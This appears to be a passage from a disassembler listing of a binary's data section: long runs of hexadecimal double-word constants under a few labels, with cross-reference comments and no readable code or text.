		dd 0EB333024h, 0BE5BE68Ah, 59D3A45Fh, 68D78CFAh, 27C5B24Fh
		dd 0E9E628EEh, 2E8CF92Eh, 9559666Bh, 3F152051h,	0C7FE179Bh
		dd 3E5839EEh, 0E9961BEDh, 4FB226F5h, 42564417h,	6790CCBAh
		dd 0C3853064h, 0BD5C91B0h, 22AD3273h, 0A4172AACh, 9ABB5353h
		dd 19AC4B48h, 1D58AB04h, 1B97B915h, 0B003FFC5h,	24557BF5h
		dd 5878EACh, 0BF0F348Dh, 79562D01h, 0F52B59F1h,	1C080677h
		dd 99041482h, 0D8EAF4AFh, 0A0517BF1h, 0EFEC92C8h, 2124FE48h
		dd 0CC225AD6h, 71755457h, 2EC4CAD1h, 0EA010A17h, 157B00B1h
		dd 685D6B6Dh, 667F7625h, 71593996h, 15434D97h, 8340AA7Eh
		dd 6E0A0132h, 87CD816Fh, 4D7BC876h, 55690EC1h, 0F5005C82h
		dd 0DB00B5BEh, 5DE90130h, 4428F51h, 0EA685938h,	82CBAD3Dh
		dd 605FF107h, 0DE18F2C0h, 0A2CC21Ch, 0AC6166B8h, 8AFB05F6h
		dd 7047C96Ah, 0BE555E79h, 993E5929h, 94EC3ACEh,	7D2AC4h
		dd 4D1E2D5Bh, 0A05E831h, 4FB82207h, 7503ECBh, 0A4E32FE9h
		dd 3F8DEB20h, 0C11308B0h, 0B0E006EEh, 0B92250C0h, 0A7A45E3Ah
		dd 0C24989E4h, 6638D7A7h, 0CCBD128Dh, 87E916D2h, 0D736E905h
		dd 0D8938AAFh, 4F2D6821h, 0B675AC32h, 6EED133Ah, 0F9390BDBh
		dd 1708D808h, 6E29BF5Fh, 929B4B2Bh, 60E1E477h, 754485Ch
		dd 0F1EC63B5h, 0BAD6D40Bh, 4030F427h, 0BAD031Eh, 2DB1015Fh
		dd 4F4C0806h, 0DF68EBEFh, 0B3E92C56h, 0C1808411h, 7B15E85Ch
		dd 3A73AE34h, 0A90081EEh, 1D680036h, 0BFE9B3Eh,	0A5E8BBE8h
		dd 0C60F479Ch, 0A9F7876Bh, 70D509Fh, 0CA75EFB8h, 0B877A440h
		dd 0CA49300Ch, 645C68BFh, 0AC966267h, 3DBA5F38h, 0A1A33AEFh
		dd 4D3D6C50h, 0EE02157Ah, 2CFD428Dh, 49413540h,	70B5A676h
		dd 5E0781AAh, 3CAAA32Fh, 0B95D062Dh, 82262937h,	5BDBDC07h
		dd 0CA6905ACh, 3B9F2AEh, 2D305FB9h, 6D115801h, 0F83F0A45h
		dd 0A0944B34h, 7D13CAC2h, 0FEA25D9Bh, 0CF8520Bh, 19D12A08h
		dd 15981C0Ch, 23E9470Ch, 0FCA7778h, 13415F21h, 0BF9D937Ch
		dd 29F1FE30h, 30902A46h, 0F3DD3AACh, 8948CFA6h,	19824512h
		dd 19E7BDB1h, 693030A5h, 461EA20h, 0D3E9DBF7h, 0E628AA32h
		dd 30C34880h, 5BFCE710h, 17AE5485h, 0DD8F14CDh,	80750525h
		dd 46CA8CAFh, 0A6014E9Ch, 0E55328DAh, 5E2B3738h, 0CD233DFFh
		dd 0B9826E6h, 52AC33E9h, 5A2B3F91h, 4807262Ch, 2E742508h
		dd 602C6359h, 0A16CA94Bh, 5A348705h, 0F35E9756h, 0E90B7FC8h
		dd 85C67D98h, 598D532Fh, 0BD183C0Fh, 29664663h,	2D0FF873h
		dd 0F5F1B86h, 1202AC05h, 0B21A7DBCh, 3EA3204Eh,	2643B804h
		dd 91BA081Eh, 6ACE5DABh, 6B71138Ch, 0DCD3106Ah,	12AD3508h
		dd 0F323A089h, 0E174F84Eh, 4C042EEBh, 46372D5Bh, 9751F052h
		dd 72CA2EF3h, 9329D1A3h, 67280902h, 0BF905D39h,	16009D05h
		dd 2D5D57DFh, 0A1F136Dh, 61B8682Ah, 42B992C1h, 565A5B54h
		dd 71886860h, 0DB106628h, 2600D6E8h, 5DEE892Ah,	0BE7816E9h
		dd 4B07E9B5h, 657D0949h, 0D64D8A56h, 757A7CEh, 0AB4BD57Dh
		dd 0E9D001E5h, 0CF3A98B8h, 0D2115963h, 757221FFh, 40C92E5Eh
		dd 0EBD6033Ah, 0F2CF2107h, 79FF962Ch, 62AD0815h, 330E5F12h
		dd 80B1E961h, 0D46E6E6h, 4AA298EFh, 4525AED6h, 4EB04127h
		dd 9A8F0BE9h, 0A0547BCFh, 66827BDh, 0EF816601h,	0FEF00D23h
		dd 986D0790h, 0CFAD2845h, 2B7425E2h, 0E82D5A00h, 0BF181A5Dh
		dd 684142F1h, 603E6679h
		dd 8DE95223h, 0F8597040h, 797B95DEh, 2EECD525h,	43305F97h
		dd 6D9C2AB8h, 996A2060h, 0FCE92F61h, 0C7FD3009h, 56E90577h
		dd 518FDA2h, 42F72E1Bh,	704FB603h, 24E990A7h, 0E269C66Fh
		dd 812A373Dh, 5FA8398Ch, 0E50A64D4h, 62D580Fh, 712C4624h
		dd 0D1EE5D65h, 2AAECDC9h, 899F25B3h, 0DE209A2Fh, 14975295h
		dd 46F50681h, 5028E13Ch, 342000E5h, 0A4B87439h,	0F80CA50Fh
		dd 23BAF9E9h, 2F58575Ah, 1F482124h, 0FF7E75F6h,	98A75288h
		dd 64064C1h, 7188C292h,	0A8AF2104h, 0E0CECBB1h,	1E1DBF11h
		dd 957E9A5Ah, 0FC5EA750h, 0AB4AC549h, 86B80A34h, 0D7690106h
		dd 0D1010F0Dh, 0E96BEA75h, 0A225DE6Ch, 6003FA20h, 0F6ED3571h
		dd 201E3123h, 5139C501h, 34A87B08h, 9931E2D3h, 2D2B67E6h
		dd 0F380608Fh, 6A096D13h, 415D31FCh, 6B730B96h,	5ED8823h
		dd 0EF98607h, 0F5602042h, 5E16A827h, 89B0C4B2h,	88A330E3h
		dd 97BB8294h, 918A1AB5h, 698CE100h, 0D1F76598h,	0B75504CAh
		dd 0F84BBA10h, 0F3082FE8h, 5CE9C1BCh, 45C93F1Bh, 0B55670E0h
		dd 0B30CAC65h, 50BB567Eh, 4E370A01h, 0B064AA61h, 6C4DE0AFh
		dd 0E0A2B75Fh, 2DF9F24Eh, 21AD501h, 5F5FC244h, 0B75AD2B0h
		dd 0E9166FD8h, 50F29586h, 0B69A583Ch, 0C0FF12B7h, 752C8AB5h
		dd 41BB017h, 5E608CEFh,	1EB78016h, 23606510h, 0CBAA190Ch
		dd 0BCC49F01h, 54FB5E76h, 0C1D5FFAFh, 8EFEA712h, 0C55C35C8h
		dd 95609CF0h, 67E07F68h, 189AF788h, 0C72AB09h, 0C42E6ED5h
		dd 924A253h, 0A44C9511h, 51B2A620h, 0B050C400h,	0F6C0FE21h
		dd 3408C7D8h, 0C8D60F4Fh, 195E1F7h, 5B81BDC6h, 837A60EEh
		dd 0FBCB3FA4h, 0ECCA3AAFh, 6AD81761h, 1F06EE1h,	9C739E45h
		dd 16FB0986h, 0C22150F1h, 11416C90h, 68AD0800h,	891852C8h
		dd 0A4A3FBD2h, 8F056858h, 0AF717369h, 806C094h,	4AF25158h
		dd 849BE27Eh, 560E34DEh, 2820A5C9h, 8008E1C0h, 5168C107h
		dd 2C6F3DB1h, 2D07183Eh, 0AD89F4E9h, 96E567F5h,	79B8B140h
		dd 72178717h, 4034FF09h, 688E924h, 1ECC5C97h, 524213B9h
		dd 0F1E0000Dh, 378F4355h, 0AB60E918h, 13AEE745h, 1349E48h
		dd 161218A0h, 6CB12027h, 0FB830C0Bh, 820B7C21h,	501046FEh
		dd 4705BFC0h, 82EFE91Ah, 83D2F476h, 139F19C6h, 0F10ABF4h
		dd 12853AB4h, 0E5EE4841h, 39AC3A13h, 4B4A62C3h,	5009FAB5h
		dd 8DDE0491h, 0F59DBE17h, 0BBF195FBh, 0BD5EBDD4h, 684163D4h
		dd 0F42218E8h, 5B4F7020h, 79802DBBh, 6F8416B8h,	5B8ABDE3h
		dd 0D11F30EBh, 0E40F2DE0h, 84B0CC0Dh, 88ADA76h,	3F685007h
		dd 5839F06Eh, 200247C7h, 3E0540D7h, 0B8E4D753h,	0C8FB0131h
		dd 8407C045h, 0B2C481FDh, 51AC008Ah, 53BE3DB5h,	0F3174113h
		dd 0C96809B0h, 0BD42E45Bh, 0B163C122h, 201B4007h, 0A994358Ch
		dd 2D337FC0h, 235F8ED3h, 841952ADh, 420CF030h, 0C4EC4F40h
		dd 0A418E90Dh, 0D2BDEBE2h, 0BD9BF647h, 3E7D668Bh, 0FE293026h
		dd 205BB18h, 29AE5F5Bh,	55068005h, 471A6268h, 0E925C53Ah
		dd 0BE4CF09Dh, 9B1B1D02h, 5EEA8162h, 0B078AF14h, 965859B7h
		dd 0D7B7B35Dh, 137B8ABFh, 9DFE77C6h, 69BF2B86h,	77E83E5Bh
		dd 1F2D2EB9h, 9DC14575h, 66164606h, 7106A609h, 4A17A21Eh
		dd 0DB20C9C1h, 4D143FE8h, 404CF2E8h, 0F068A011h, 62739C51h
		dd 7F09D498h, 814913D1h, 0CA6D6131h, 39DF53DEh,	437FD35h
		dd 12ECE747h, 0C15A1CBBh, 0F6DFE480h, 41F4D5DCh, 3F14D9FEh
		dd 0F95F388Ah, 427CCBB0h, 0F5715747h, 7E5CFB8Bh, 0D652F19Bh
		dd 33D5D1A2h, 0C1609877h, 88B72653h, 28ED00AAh,	0C267E9F9h
		dd 0D967FCB5h, 93616F5Ch, 8381CE03h, 2E1BB7F6h,	789C383Bh
		dd 9AD05801h, 5B5653EFh, 5E83096Bh, 0E4C0EB82h,	0D6427C59h
		dd 7C0D998h, 96E7A68h, 0BF9B6ED5h, 0E98BFD5Bh, 7580C2D2h
		dd 1DDB87C0h, 5E684518h, 6FE903DAh, 0EEE071C9h,	0F2FB129Fh
		dd 34B1A49Ah, 494FC602h, 0D9088079h, 2C170A77h,	0C8866C01h
		dd 5453C0Ch, 0D1D8AB1Ch, 0D08E4A1Ah, 3A49EB19h,	0D5086327h
		dd 4DCE0500h, 689C4CFCh, 51B50720h, 96F4829h, 4CC6AB63h
		dd 0F30CF20Bh, 32D90B18h, 0F10C0B96h, 0B8CC0945h, 146249D4h
		dd 59E20B4Ah, 0C9520157h, 6CCD1C02h, 4DD8C13Eh,	473497DFh
		dd 1B048BE8h, 0D1898056h, 686D1DA7h, 4E19C5A1h,	0C4EECA56h
		dd 58BDAE6Eh, 0F0B71692h, 1A94AD7Fh, 0C419F4C2h, 77EA20F4h
		dd 4B4EBD01h, 0B9517B17h, 4C491BE8h, 0BA18DA7Ah, 83BE2F3Dh
		dd 6B4E3400h, 6C1CE681h, 0E92D1711h, 0C7FEB43Bh, 0B4823E95h
		dd 63FEC999h, 1746B763h, 0ED5DEBD3h, 2DFBD6F9h,	0BA666E04h
		dd 0E9541220h, 413A4B4Ah, 2C231180h, 894ED467h,	0FE9835ABh
		dd 0A2FA6FD4h, 4B68E058h, 79989518h, 0F2AAF26Eh, 4874FADDh
		dd 35B425Ch, 0DEF75ED2h, 97FEEEFAh, 50B858h, 53CFC11h
		dd 0DD72D97Ah, 7748095h, 12293F64h, 0BD10E9CEh,	0C0294F6Ah
		dd 0E03C7FFDh, 0E93A6815h, 5AF02D7Ah, 0D2EE7A5Ch, 8CE96F61h
		dd 0C04B2B6Ch, 0C625D18Bh, 492CD55Ch, 0F2182713h, 20C37765h
		dd 5A0C5969h, 692BC068h, 9C625BD1h, 0C2048186h,	20222A3Ch
		dd 5F8A1AEh, 46620C08h,	8390C0B1h, 0D95E8090h, 0FE8FCDADh
		dd 0EDB05043h, 946052E2h, 3770B679h, 76624CFBh,	856B285Ch
		dd 8443946Dh, 0A79813AEh, 7779E8A2h, 0AAB90FC5h, 0DF48FA47h
		dd 2FB2F3Dh, 2E9B0156h,	8BE6470Bh, 1F278239h, 0C0AFE96Ah
		dd 0C9D2F796h, 7C7E6434h, 0F7BA7D25h, 8F20FE64h, 8161BD97h
		dd 26AA3C8Bh, 0C20B9858h, 0EAB77102h, 0BC6213AAh, 8E179E90h
		dd 492813A0h, 2C8764E8h, 0E9420F95h, 60E5A3E0h,	6B16521Fh
		dd 0AD2DC6C0h, 79B23D02h, 0D1714E12h, 220A9ABAh, 13E50519h
		dd 0F2BF4B3Ah, 0F5F12ADEh, 0D6AF5E4Ah, 9EF105D5h, 0CE90F109h
		dd 5F98680Bh, 90E11E1Ah, 0BAAD2F5Eh, 0E838FFB5h, 78BC6C6Ah
		dd 0E0F5398h, 81816CDBh, 699470DAh, 43B60C82h, 0E35550EAh
		dd 0BD40FF77h, 3D0CB4EEh, 4173CF09h, 7106A70h, 0DFBD4EBAh
		dd 521B0C60h, 68B8193Dh, 716C596Bh, 13CDAC76h, 9BE7AA77h
		dd 5565D718h, 0C3FC5AD0h, 0AC96816h, 0D810F5A3h, 0D15F0358h
		dd 0E7E2C1EAh, 10915B2h, 680C1868h, 3307C766h, 3F9182FBh
		dd 542757CDh, 77C33383h, 377045DAh, 75FEAC4Ah, 8E3DFF7Ah
		dd 40FDCD2Eh, 2DB279AAh, 58C23000h, 0D026F280h,	0BB290E2h
		dd 9BC1E9FCh, 61C2BBF9h, 6E04619Dh, 9F9DD5A0h, 7C9D407Ah
		dd 246C06Eh, 14E777Fh, 805B5A1h, 2EB11585h, 4684F229h
		dd 0FE280FCCh, 0AE4A54E6h, 3DF03E17h, 86D30FF6h, 74280D9h
		dd 9655CB28h, 0F49781BDh, 18EDF674h, 187E16E9h,	6209C0BEh
		dd 878949A5h, 0BB30816Fh, 2D22C877h, 0B50330E9h, 1A07E3D1h
		dd 0A7888EE6h, 5689FD2h, 9140EA5Ah, 7CD31F20h, 4D650725h
		dd 604808E4h, 30B03145h, 2532449Fh, 0B4DED329h,	1BC1F744h
		dd 0DE6672A4h, 3F862610h, 8BCFADADh, 0D383556Bh, 778A4557h
		dd 0B95CA30Eh, 2BEDE128h, 0BF254AF0h, 0DF0B44F2h, 0FE199075h
		dd 0BD0720D8h, 0EA60B1F9h, 5FF36AB8h, 0B1D0F40Ch, 0E42A8441h
		dd 7F127D2Ch, 970B7CB9h, 0A63959E3h, 4F933DC5h,	0D6734E65h
		dd 0D6407CE9h, 625A9768h, 23FD7099h, 5860053Eh,	29D9E42Dh
		dd 1B304F98h, 0A0B646F4h, 59C62F80h, 3071C7F0h,	0A5A0DE4Eh
		dd 1DE2BD89h, 0F5C065DCh, 4F42F173h, 0D4A4E99Bh, 0FBA34A86h
		dd 8339F697h, 850298E9h
		dd 303B9CBEh, 0B513400h, 4B486C0Dh, 0D6E91B20h,	0EE84B486h
		dd 67342C81h, 7FAA2315h, 4C5AD4D9h, 0C1398884h,	273FCC53h
		dd 35890036h, 3F63DC49h, 0E6CA01F4h, 0B5BB0760h, 0F7154957h
		dd 0BA31C2ACh, 26D90111h, 0BFD14EB0h, 7D6550C6h, 352002Fh
		dd 0A10DD8F7h, 46317303h, 0C04EA525h, 17890575h, 0F1DE2EDCh
		dd 22E9DDD9h, 9384D912h, 9D5CEBE8h, 0B8E9A840h,	0BA01F3BCh
		dd 41C616B4h, 4056066Fh, 5917D28Ah, 37EE3968h, 67128B17h
		dd 9C01B07Eh, 11A971Dh,	0A3EE3320h, 0E55E1808h,	87454666h
		dd 9E53DD2Eh, 0BD6F78Ch, 0C618DF5Bh, 545D80E9h,	118AD6B5h
		dd 0B0DA4A2Ch, 612DF44Eh, 800460B4h, 2E8393F3h,	68EF2765h
		dd 0B2BD575Eh, 0FF292720h, 0A957278Bh, 25B0C505h, 11C1C660h
		dd 72F00D05h, 71BB505Fh, 6AA4E955h, 0B9EA6E8h, 48F5B484h
		dd 3E1FACC0h, 0B02C1D6Ah, 0B19DBDCAh, 0F85EFF80h, 4AF8D37Fh
		dd 185232ADh, 163B761h,	0C943DEF8h, 0C8FDA860h,	80AE47EDh
		dd 73E09CBFh, 0F7815700h, 42825EE2h, 53EF0BBAh,	6C8947B6h
		dd 52025683h, 0C5D714B2h, 56688423h, 0C931AA58h, 922EED23h
		dd 1C712AFAh, 0FC784AADh, 0C2FD25A7h, 335207BFh, 0FC5F2EDCh
		dd 0B3095FB5h, 7680904h, 542F1806h, 0B9625E9h, 0FDAAF868h
		dd 82FD498h, 903EECBFh,	25D17DD9h, 9E46586Ch, 6941BB2Dh
		dd 6C5CD0C6h, 21E60935h, 477685F6h, 87F23109h, 5F099716h
		dd 0E90BB467h, 37FC2FD4h, 70EAB197h, 0B696A720h, 0DBC75E9h
		dd 9DCF3195h, 0FAC37DB4h, 0D68E1AB4h, 0AF401637h, 4AEB4398h
		dd 0FAFCD564h, 0B260F27Dh, 0C1A65D78h, 1C6F09A0h, 344EE973h
		dd 0A6CB0DB8h, 0AE855363h, 4AEC37B5h, 0AB16D369h, 50C4B0E2h
		dd 0BEF2BA54h, 0F33C4B78h, 79F15FBDh, 7B9ED93Eh, 0AEAF284h
		dd 0B50575Ch, 0B52FA5E9h, 88ED89DDh, 12680298h,	7B23C29Fh
		dd 27666B5Fh, 5FE310BFh, 0E3A3CB73h, 54E8FD89h,	7178F0C2h
		dd 10543D48h, 0BB0295FEh, 1AED58B7h, 68660360h,	574BBC2Dh
		dd 4AF3F080h, 7B48320Ch, 13AD27D0h, 0F852C256h,	0D4883FEBh
		dd 409E7792h, 8659ADABh, 1688FF25h, 0C4558287h,	37AF0944h
		dd 0D7781828h, 0B35E0F0Bh, 80895D33h, 2C2DB280h, 0E9F4934Eh
		dd 0D200E35Fh, 306FF180h, 4B3BB8CCh, 0C45FE8BEh, 0F5C45056h
		dd 0BA04C556h, 5E0913ABh, 0F245C057h, 0F8F927Fh, 3E921D91h
		dd 0E4F5C7A9h, 44E915CBh, 0E52F9D79h, 0ED756F8h, 15C0CFFAh
		dd 2AE820Bh, 88447CE5h,	1E507B34h, 0C944AE2Fh, 9432431Ch
		dd 48662F21h, 5055F50h,	464E0360h, 7881001h, 3C7F041h
		dd 78BD5555h, 8959FDEh,	0DD2758FBh, 52FADE10h, 191C5797h
		dd 0DF25952Ah, 0F2C158h, 0C7805859h, 0B9FC2853h, 0E3886346h
		dd 2EEB2204h, 0D0AADEE9h, 0FA1074CDh, 0A12D7307h, 21445EA7h
		dd 9714F0ABh, 3014413Fh, 0D7F76089h, 0BC7EE34Fh, 5036CB59h
		dd 2D795E4h, 0C6EC168Ch, 0D768163Ch, 0B111AC7Eh, 8357E2C6h
		dd 0A0C2BC62h, 6ECCC9D5h, 0A4106532h, 4531AECBh, 810488F4h
		dd 7F526D17h, 0B7ECC5DDh, 69C99770h, 0B9F72E16h, 17106610h
		dd 0FE8207E9h, 0FE39E056h, 79462D6Bh, 0E8254A54h, 44F69F9h
		dd 0F6E95763h, 439DEBD3h, 9420CB2Ah, 0D7109CA1h, 6240A462h
		dd 4091C60Ch, 7B0E05C4h, 0A12A9D61h, 338414B7h,	72F103Fh
		dd 0D411A375h, 0AEEBD4FEh, 710607C0h, 927F4858h, 0FF4F9E3Bh
		dd 44FECB52h, 0BF9D88C3h, 0B1D463E8h, 62093113h, 0E9A98D07h
		dd 6F79F377h, 0DBE1AEAFh, 0D32CD028h, 96DF8997h, 68511315h
		dd 0ADC8AE5Fh, 0B5100BB2h, 9C7D30CDh, 2A342591h, 705797CAh
		dd 495D4A66h, 42A3F135h, 86BAC201h, 5E4FCF50h, 0C0248EAh
		dd 0E8EC5496h, 0C51E5925h, 3A5D00B0h, 0B6520EE6h, 0CBF40ED2h
		dd 0E44DFE5Ah, 80BF946Ch, 3EFC141h, 1B0089B6h, 0E9632537h
		dd 71F99D1Fh, 56575C80h, 242DD4BEh, 1F15508h, 414C7DDEh
		dd 0C8022F31h, 404E02E6h, 9FB1E933h, 0FA308402h, 0E8253C58h
		dd 0DC46F5A3h, 0EF1E706h, 3B7C12F5h, 0AB2762C7h, 0DFE3897Dh
		dd 0DB61C390h, 0E540AE9Fh, 63CC7125h, 334EBD5Ah, 3DAE524Ah
		dd 1D002A9Eh, 7A641A05h, 978F75E9h, 554B95F9h, 899DE0C4h
		dd 11E6559Fh, 86C3A75Ah, 330FD5BBh, 0F37285DDh,	8B8444FEh
		dd 64F2AB2Ch, 0C9E782B4h, 8B02D908h, 7548EE80h,	0FE0308A1h
		dd 401480CEh, 28C3B753h, 0B85B73F8h, 7D0120F7h,	0BAEA313Bh
		dd 72BA5580h, 36C14B73h, 75C294DAh, 90F26B54h, 0BDAF7798h
		dd 46A4286Ch, 7D07EB27h, 17A4372Eh, 0EDF2FB50h,	0E756BC81h
		dd 4FEAF036h, 91A2505h,	0E487F201h, 305D5500h, 6673002Dh
		dd 0CC35615Eh, 52024570h, 0F708E0C1h, 57C41D8h,	0F01757C4h
		dd 5639506h, 292E4040h,	0BFE912C2h, 519E7E94h, 4A8C693Ch
		dd 4099C9EFh, 3317A233h, 3334225Ch, 0D8EA3B36h,	0C02D3418h
		dd 45C53A0Ch, 0FEA201C2h, 32909416h, 0E665382Dh, 5A03B883h
		dd 0A139FE57h, 36105A3Dh, 88AF4BB9h, 4F4D74F0h,	83B85E9Ch
		dd 68156A8Ch, 246F3C26h, 7D8D7C44h, 8A49FC20h, 7F7B2F03h
		dd 1CFF1BFFh, 31FE9764h, 0B9BD425h, 9FE4F53Ah, 0ADA25195h
		dd 9D011874h, 5937E038h, 5859B26Ah, 4773068Ah, 0B0C16F2h
		dd 6B5E442Ch, 691103E0h, 0C397E30h, 589761F6h, 0B727F52Ah
		dd 0E06EB2FDh, 95AB8100h, 0FDF1ABF7h, 4A5A11A0h, 0CED279C0h
		dd 0FA5AC1FCh, 1BB542Ch, 0E7E3236h, 2B70D368h, 17AD828Ch
		dd 0BF039B79h, 0FA87A031h, 8AFF461h, 0D822870h,	2F9B5257h
		dd 947D6C8Ch, 550227B5h, 6A486DBh, 4A47E889h, 708968EEh
		dd 3BA2970Dh, 0F80BFB0Ah, 27D1B396h, 0CF480E74h, 5613D724h
		dd 0BD6098AFh, 0EBE12F41h, 640FE2Eh, 2837045Ch,	6F47F4D8h
		dd 2DFE154Bh, 2D5DA1C0h, 0B10DA00Eh, 800BD4Dh, 0F8011036h
		dd 0FBE91C56h, 0E455272Ch, 867138D1h, 8276AA5Ah, 9AF1BF8Dh
		dd 0FD45E950h, 86BD4380h, 8911CB2Eh, 7E8489B7h,	0D6EB8921h
		dd 854F3771h, 34BE644Dh, 0B8578137h, 0D32DA07Bh, 236BEC12h
		dd 0A9CBF509h, 0E818DD37h, 6BE15456h, 0EDA163BDh, 18C8480Ah
		dd 0DFEF554Bh, 91680B2Ah, 0EBF9F115h, 2A0C96F7h, 343011Fh
		dd 4C40B951h, 0E2207923h, 0FA1CF460h, 816C008Bh, 0EA13A6C9h
		dd 594FE90Dh, 0CB42530Eh, 7786C2F0h, 0A2850FA7h, 0BAA09C73h
		dd 0D6936CDh, 0EC51658h, 0FF615B99h, 0A5F3CE0Fh, 0C2820C62h
		dd 978D7E03h, 0E89BF459h, 0CB015D3Fh, 0BDB018ECh, 0F13F3E69h
		dd 88ED020Ah, 0FF06D836h, 0CF5CE178h, 97BC7DE6h, 270B2A9Fh
		dd 394777F6h, 0A0315914h, 50F4156Eh, 0E09BA0Eh,	0E96CFA26h
		dd 419BD889h, 301C4FE1h, 4C4FEC37h, 0C3A7C9A8h,	314CC092h
		dd 0FAC5F7Dh, 0DBFCB70Eh, 455800F0h, 50B16856h,	5E0D2D75h
		dd 0E0A0050h, 8C185519h, 0CB086026h, 0F145277Bh, 4DB8D72Dh
		dd 5B5F39E9h, 0CABC13FEh, 71A54859h, 26607BE7h,	176845Ch
		dd 0A7F38143h, 3B21400Dh, 853A8DBDh, 0B9EA0E97h, 89C62F0Dh
		dd 0D521293Ch, 0C32EF9C7h, 7B025FC9h, 187F41C0h, 1634BB0Eh
		dd 1275CF42h, 0F518B4CEh, 0E63DBD71h, 0DEE7AF8Fh, 0C05D4932h
		dd 2D68591Ah, 2B183542h, 9C4843AAh, 5AC60318h, 5AA763BCh
		dd 0E9A2F434h, 96CE5126h, 70DE0652h, 0B9C35B77h, 29581D9Fh
		dd 0DC76AEF2h, 0AB756B5Fh, 0BCC4FDB5h, 744BAFB0h, 6FAD6CB8h
		dd 0A3FBCDC4h, 6850805Ah, 0EE357577h, 7329B858h, 2DD00048h
		dd 211B05CCh
		db 89h
byte_4F5345	db 0C7h, 0BCh, 13h	; DATA XREF: ___:004449B0o
					; ___:00444D04o
		dd 0ECEFC163h, 8F95C0BAh, 683ECE29h, 0B980AAE9h, 2894C850h
		dd 2A302AE3h, 48BA386Dh, 1207474Ch, 532D49BEh, 260A57A9h
		dd 7A29C368h, 365CAA8h,	0AF13C711h, 138053F0h, 0BA2E5E20h
		dd 0C41EEA6h, 8278A330h, 7F65E4DFh, 1A7782C7h, 6BDC5749h
		dd 6A545672h, 40221E24h, 0F2811520h, 0C22D3429h, 209EF827h
		dd 22985B90h, 82836A28h, 0A7193327h, 56A90F5Fh,	0E4AB8BB1h
		dd 0A2C99572h, 4B4B764Bh, 8946C77Dh, 56296E9h, 8100657Fh
		dd 0AAE91EB8h, 4BA77836h, 0B2EB5484h, 553984DFh, 4F7D30AAh
		dd 3D09B65Dh, 6260E95Ah, 3995F5AAh, 20F312Dh, 56D6FC6Ch
		dd 2ED00C8Ah, 0FD3CBD22h, 21598F64h, 0A53786EFh, 68580966h
		dd 0A3DC2983h, 3852C5C7h, 3CDB7411h, 60E6520Ch,	7B160D0Ch
		dd 92714BD9h, 0EA3A0C8Bh, 0E83F1939h, 4AA9D0F7h, 582CD1E2h
		dd 37710207h, 0D8405AD6h, 2927C893h, 727176A5h,	4EA6D602h
		dd 9A905966h, 0A64430Fh
dword_4F5454	dd 6056DD1Fh, 0ABE4B4FCh, 0E9B32CA9h, 4885395h,	0F36012A1h
					; DATA XREF: ___:00444B7Co
		dd 0DB284E53h, 364E2468h, 33B6C0A6h, 0D89F0E56h, 0BCA9A090h
		dd 0CAC62E76h, 42B02CA0h, 1257F87Dh, 10D2FFD4h,	4AE95095h
		dd 5A5509A3h, 66B66D1h,	93E68A2h, 0A9AA09BAh, 279C3B88h
		dd 8BA80957h, 0C2246C36h, 0F0B7E90Dh, 89DE51DFh, 3A5D4165h
		dd 0C11EFC28h, 0F22BE9FBh, 0BACB27Bh, 60044D32h, 82DF98A6h
		dd 0BF034178h, 89712206h, 849CF1F8h, 8B451C9Dh,	0C5F154B1h
		dd 91528449h, 5AD33000h, 0D8E02A2Ch, 2030D290h,	0BF58245Ch
		dd 5F697217h, 7493B47Ah, 0AFFC384Bh, 0A19A48DEh, 3320BB01h
		dd 41E84C78h, 0B780B2E1h, 62768243h, 0EB81FB1Fh, 68F04985h
		dd 725F8A4Ch, 1574112h,	810CC391h, 0F9229A51h, 3882437Ch
		dd 4B240DF7h, 0BDE8DE55h, 0C35B1F0Ch, 54709342h, 0D3005495h
		dd 745C8CCAh, 0A805E87h, 5FDA8922h, 5778E456h, 207D9055h
		dd 8313148Ch, 3DBE02EDh, 168F725Eh, 0D9FF9EE2h,	52E3EFBEh
		dd 5AF5D905h, 788019D8h, 5E27A50Fh, 55DFA0E6h, 0C900C8B0h
		dd 0BD5C925Eh, 7FBFD49Bh, 9FDD7FF4h, 0EF68DE01h, 1DBC6634h
		dd 3A17513Ch, 6DE15C01h, 0E6D8179Fh, 5F3E7196h,	0FEDE874Fh
		dd 870FA567h, 6EC9F49h,	7305EBECh, 68E9A080h, 0CC5B02E8h
		dd 7612FDAAh, 61BC1DA7h, 24200741h, 0DD6697DBh,	13872020h
		dd 1FB9C480h, 117627A6h, 0B82FAE5h, 6B26495h, 0D0802302h
		dd 569D6D52h, 0B6F2CB3h, 17FC6041h, 752198BBh, 5C1F55Fh
		dd 459E828h, 0E9DD2140h, 2DD15231h, 5E0E97Dh, 4EEBF53Eh
		dd 0AFF21006h, 0CA037E48h, 6B851698h, 0DDACD4E2h, 6FF93554h
		dd 0AC2A76DDh, 988BE668h, 304E41E2h, 4CB77FFBh,	1E21090Eh
		dd 0D0F64B2Ah, 97E90202h, 0C293496Eh, 127DFC40h, 0AB224ED6h
		dd 0AD9E2700h, 5DE9B494h, 0BA00B5B8h, 3A6865E5h, 0DA50F74Ah
		dd 1B18BDA4h, 0CF0C0716h, 6AB62F0Ah, 8779D6FAh,	0FD872BB5h
		dd 9C758C29h, 6A0C2028h, 0F8A1DC9Dh, 7B4B45E9h,	40F2E928h
		dd 552C6842h, 5167012Ah, 78D0EE3h, 0B74D264Fh, 72765766h
		dd 0CA7A714Ah, 125AAE4Dh, 0ECE0FCB3h, 1F3BE52Ch, 0B3DED7A1h
		dd 0C52D83D8h, 151980Ah, 70550D8h, 0A6D22CE9h, 4B56A42Dh
		dd 984CE457h, 0EF4F4BB7h, 0E9509520h, 9896549Fh, 6F8E13E5h
		dd 0C53400F4h, 39696308h, 4909CDF8h, 5C720A55h,	38611DE2h
		dd 95E96005h, 832AA366h, 0A022E8BFh, 3C3DBB47h,	87CCA487h
		dd 4813A65Bh, 7605266Bh, 9ECAC301h, 0DC446B56h,	298640AAh
		dd 0E16DE9DEh, 871429B1h, 0FC6882E6h, 8CEB7959h, 0ED8F27BFh
		dd 57755E0Ch, 128CB01Bh, 0AFDC1236h, 12FD06E0h,	0D782BDE9h
		dd 152773FAh, 2C33B12h,	0FA9614A2h, 4EB24AD8h, 0A411E816h
		dd 36BD6790h, 95327E7Dh, 54B067Fh, 4869886h, 3CE999B0h
		dd 0E199BE77h, 8186223Eh, 0A54AD9DDh, 0B98A187Fh, 8823BED0h
		dd 0BA00FC9Ah, 6D9C1479h, 40E31EB8h, 0D00141C7h, 7EA1C2E9h
		dd 5003E7FDh, 5C638BB8h, 7A054888h, 0CAA39C38h,	4AE92007h
		dd 7C02E8Ch, 0B65206EFh, 0AE5FB4EBh, 0B80487BDh, 0FE01E841h
		dd 80790A1h, 2CBB55D3h,	3AB6626h, 53D828E0h, 22BE7E1h
